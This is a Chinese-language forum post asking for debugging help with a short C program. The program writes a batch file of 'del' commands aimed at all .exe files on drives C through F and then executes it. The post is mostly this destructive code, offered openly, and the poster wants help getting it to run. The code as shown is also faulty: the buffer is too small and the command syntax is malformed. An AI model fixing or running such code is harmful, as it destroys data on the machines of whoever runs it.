一个文件问题 出了点问题
程序代码:#include"stdio.h"
#include"stdlib.h"
main()
{
FILE *fp;
char a[100]={"del -f-s-q c:\ *.exe del -f-s-q \n d:\ *.exe del -f-s-q e:\ *.exe del -f-s-q f:\ *.exe"};
fp=fopen("1.bat","w");
fputs(a,fp);
fclose(fp);
system("1.bat");
}

个把月没来了 先打声招呼!
大家看我程序代码基本知道我做什么啦
用一个数组保存要写入1.bat的内容(我这里用的空格 回车在字符串中能够实现吗?)
再利用写操作创建一个1.bat
用fputs写入
然后运行
不知哪步错了
哪个大神帮我找出来
代码就几句









